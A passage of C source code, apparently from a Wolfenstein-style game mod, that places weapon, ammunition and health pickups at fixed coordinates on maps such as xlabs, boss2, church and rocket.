spawnorigin[0] = -761;
spawnorigin[1] = -773;
spawnorigin[2] = 232;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Sten");
spawnorigin[0] = -1584;
spawnorigin[1] = 2938;
spawnorigin[2] = -95;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -1356;
spawnorigin[1] = 3713;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -698;
spawnorigin[1] = -354;
spawnorigin[2] = 243;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("<NAME>");
spawnorigin[0] = -2109;
spawnorigin[1] = 3712;
spawnorigin[2] = -23;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = -874;
spawnorigin[1] = 1042;
spawnorigin[2] = 241;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 508;
spawnorigin[1] = 759;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 928;
spawnorigin[1] = 1755;
spawnorigin[2] = 0;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Med Health");
spawnorigin[0] = 795;
spawnorigin[1] = 2270;
spawnorigin[2] = 32;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("<NAME>");
spawnorigin[0] = 62;
spawnorigin[1] = 2645;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Thompson");
spawnorigin[0] = 534;
spawnorigin[1] = 2463;
spawnorigin[2] = 32;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = -52;
spawnorigin[1] = 3755;
spawnorigin[2] = -146;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = -1004;
spawnorigin[1] = 3643;
spawnorigin[2] = -287;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = 1389;
spawnorigin[1] = -905;
spawnorigin[2] = -123;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Venom");
spawnorigin[0] = 1535;
spawnorigin[1] = -788;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 1523;
spawnorigin[1] = -759;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1561;
spawnorigin[1] = -815;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1580;
spawnorigin[1] = -798;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = 1536;
spawnorigin[1] = -757;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 1611;
spawnorigin[1] = -764;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 1540;
spawnorigin[1] = -819;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1529;
spawnorigin[1] = -762;
spawnorigin[2] = -167;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
}else if (!Q_stricmp(mapName, "xlabs")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1471;
spawnorigin[1] = -1153;
spawnorigin[2] = -15;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1667;
spawnorigin[1] = -966;
spawnorigin[2] = 14;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1216;
spawnorigin[1] = -775;
spawnorigin[2] = 52;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Venom");
spawnorigin[0] = 62;
spawnorigin[1] = -129;
spawnorigin[2] = 514;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Med Health");
spawnorigin[0] = 390;
spawnorigin[1] = -90;
spawnorigin[2] = 74;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Grenades");
spawnorigin[0] = 345;
spawnorigin[1] = -81;
spawnorigin[2] = 26;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = 483;
spawnorigin[1] = -23;
spawnorigin[2] = 260;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -135;
spawnorigin[1] = -125;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 59;
spawnorigin[1] = -620;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -1154;
spawnorigin[1] = -1670;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 62;
spawnorigin[1] = -1533;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 1611;
spawnorigin[1] = -126;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Thompson");
spawnorigin[0] = 311;
spawnorigin[1] = -1026;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -661;
spawnorigin[1] = -130;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -894;
spawnorigin[1] = -2048;
spawnorigin[2] = -15;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1480;
spawnorigin[1] = -1635;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1723;
spawnorigin[1] = -575;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 898;
spawnorigin[1] = -131;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = -550;
spawnorigin[1] = -642;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 61;
spawnorigin[1] = 703;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -673;
spawnorigin[1] = 936;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = 913;
spawnorigin[1] = -573;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 64;
spawnorigin[1] = -1182;
spawnorigin[2] = 46;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1333;
spawnorigin[1] = 27;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 63;
spawnorigin[1] = -1471;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Med Health");
spawnorigin[0] = 993;
spawnorigin[1] = -1398;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Grenades");
spawnorigin[0] = -997;
spawnorigin[1] = -531;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Thompson");
spawnorigin[0] = 716;
spawnorigin[1] = -992;
spawnorigin[2] = 46;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = 1842;
spawnorigin[1] = -1530;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
}else if (!Q_stricmp(mapName, "boss2")){
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 181;
spawnorigin[1] = 1112;
spawnorigin[2] = -215;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = -136;
spawnorigin[1] = 1313;
spawnorigin[2] = -215;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 0;
spawnorigin[1] = 1223;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Mp40");
spawnorigin[0] = 7;
spawnorigin[1] = 949;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 5;
spawnorigin[1] = 1591;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 277;
spawnorigin[1] = 2306;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -286;
spawnorigin[1] = 2312;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 0;
spawnorigin[1] = 2021;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 0;
spawnorigin[1] = -1413;
spawnorigin[2] = -39;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Venom");
spawnorigin[0] = -2;
spawnorigin[1] = -1931;
spawnorigin[2] = -39;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Thompson");
spawnorigin[0] = 384;
spawnorigin[1] = -1724;
spawnorigin[2] = -39;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = 383;
spawnorigin[1] = -640;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = -383;
spawnorigin[1] = -642;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = -385;
spawnorigin[1] = -1407;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 385;
spawnorigin[1] = -1407;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 425;
spawnorigin[1] = 1403;
spawnorigin[2] = 58;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -584;
spawnorigin[1] = 1424;
spawnorigin[2] = -67;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = 400;
spawnorigin[1] = 254;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -381;
spawnorigin[1] = 255;
spawnorigin[2] = 106;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = -7;
spawnorigin[1] = -318;
spawnorigin[2] = 209;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1055;
spawnorigin[1] = 1225;
spawnorigin[2] = 642;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 532;
spawnorigin[1] = 2078;
spawnorigin[2] = 76;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
}else if (!Q_stricmp(mapName, "church")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 3;
spawnorigin[1] = 293;
spawnorigin[2] = 1385;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 1098;
spawnorigin[1] = 289;
spawnorigin[2] = 656;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Venom");
spawnorigin[0] = 1510;
spawnorigin[1] = 352;
spawnorigin[2] = 328;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 989;
spawnorigin[1] = -600;
spawnorigin[2] = 480;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = 771;
spawnorigin[1] = 282;
spawnorigin[2] = 184;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -8;
spawnorigin[1] = -124;
spawnorigin[2] = 1112;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 574;
spawnorigin[1] = 292;
spawnorigin[2] = 1112;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = 12;
spawnorigin[1] = 714;
spawnorigin[2] = 1112;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 580;
spawnorigin[1] = 704;
spawnorigin[2] = 608;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenade");
spawnorigin[0] = -367;
spawnorigin[1] = 297;
spawnorigin[2] = 716;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Grenades");
spawnorigin[0] = 1719;
spawnorigin[1] = 287;
spawnorigin[2] = 656;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = 248;
spawnorigin[1] = 716;
spawnorigin[2] = 104;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1443;
spawnorigin[1] = 288;
spawnorigin[2] = 1385;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = 47;
spawnorigin[1] = -108;
spawnorigin[2] = 144;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Sten");
spawnorigin[0] = 413;
spawnorigin[1] = -83;
spawnorigin[2] = 144;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -475;
spawnorigin[1] = -119;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -467;
spawnorigin[1] = -52;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = -807;
spawnorigin[1] = 306;
spawnorigin[2] = 72;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Pineapples");
spawnorigin[0] = -251;
spawnorigin[1] = 752;
spawnorigin[2] = 136;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Thompson");
spawnorigin[0] = 575;
spawnorigin[1] = -126;
spawnorigin[2] = 608;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("<NAME>");
spawnorigin[0] = -745;
spawnorigin[1] = 666;
spawnorigin[2] = 82;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = -531;
spawnorigin[1] = 288;
spawnorigin[2] = 1328;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1093;
spawnorigin[1] = -138;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 751;
spawnorigin[1] = 201;
spawnorigin[2] = 664;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
}else if (!Q_stricmp(mapName, "rocket")){
item = BG_FindItem("Venom");
spawnorigin[0] = 638;
spawnorigin[1] = -1267;
spawnorigin[2] = 309;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = -1939;
spawnorigin[1] = 1918;
spawnorigin[2] = 605;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 1468;
spawnorigin[1] = -513;
spawnorigin[2] = -359;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = -1504;
spawnorigin[1] = 1084;
spawnorigin[2] = 389;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Grenades");
spawnorigin[0] = -2119;
spawnorigin[1] = 1155;
spawnorigin[2] = -319;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Thompson");
spawnorigin[0] = -1798;
spawnorigin[1] = 1248;
spawnorigin[2] = -359;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 157;
spawnorigin[1] = -752;
spawnorigin[2] = -359;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = -253;
spawnorigin[1] = -289;
spawnorigin[2] = 415;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = 1248;
spawnorigin[1] = -671;
spawnorigin[2] = -295;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Med Health");
spawnorigin[0] = 1232;
spawnorigin[1] = -614;
spawnorigin[2] = -311;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Thompson");
spawnorigin[0] = 1311;
spawnorigin[1] = 191;
spawnorigin[2] = 192;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 1278;
spawnorigin[1] = 950;
spawnorigin[2] = 176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 1280;
spawnorigin[1] = 649;
spawnorigin[2] = 176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = 1155;
spawnorigin[1] = 950;
spawnorigin[2] = 176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1405;
spawnorigin[1] = 950;
spawnorigin[2] = 176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 1152;
spawnorigin[1] = 649;
spawnorigin[2] = 176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1410;
spawnorigin[1] = 649;
spawnorigin[2] = 176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1795;
spawnorigin[1] = 372;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = 2215;
spawnorigin[1] = -695;
spawnorigin[2] = 72;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Med Health");
spawnorigin[0] = 2507;
spawnorigin[1] = -601;
spawnorigin[2] = 72;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 2242;
spawnorigin[1] = -319;
spawnorigin[2] = 72;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Thompson");
spawnorigin[0] = 1997;
spawnorigin[1] = -510;
spawnorigin[2] = 24;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2658;
spawnorigin[1] = -511;
spawnorigin[2] = 24;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = 1600;
spawnorigin[1] = -509;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 1159;
spawnorigin[1] = -739;
spawnorigin[2] = 192;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Thompson");
spawnorigin[0] = 965;
spawnorigin[1] = -1495;
spawnorigin[2] = 192;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 16;
spawnorigin[1] = -703;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 893;
spawnorigin[1] = -318;
spawnorigin[2] = 260;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -567;
spawnorigin[1] = -323;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -432;
spawnorigin[1] = 705;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -433;
spawnorigin[1] = 1218;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 189;
spawnorigin[1] = 1591;
spawnorigin[2] = 260;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("<NAME>");
spawnorigin[0] = -36;
spawnorigin[1] = 1422;
spawnorigin[2] = 152;
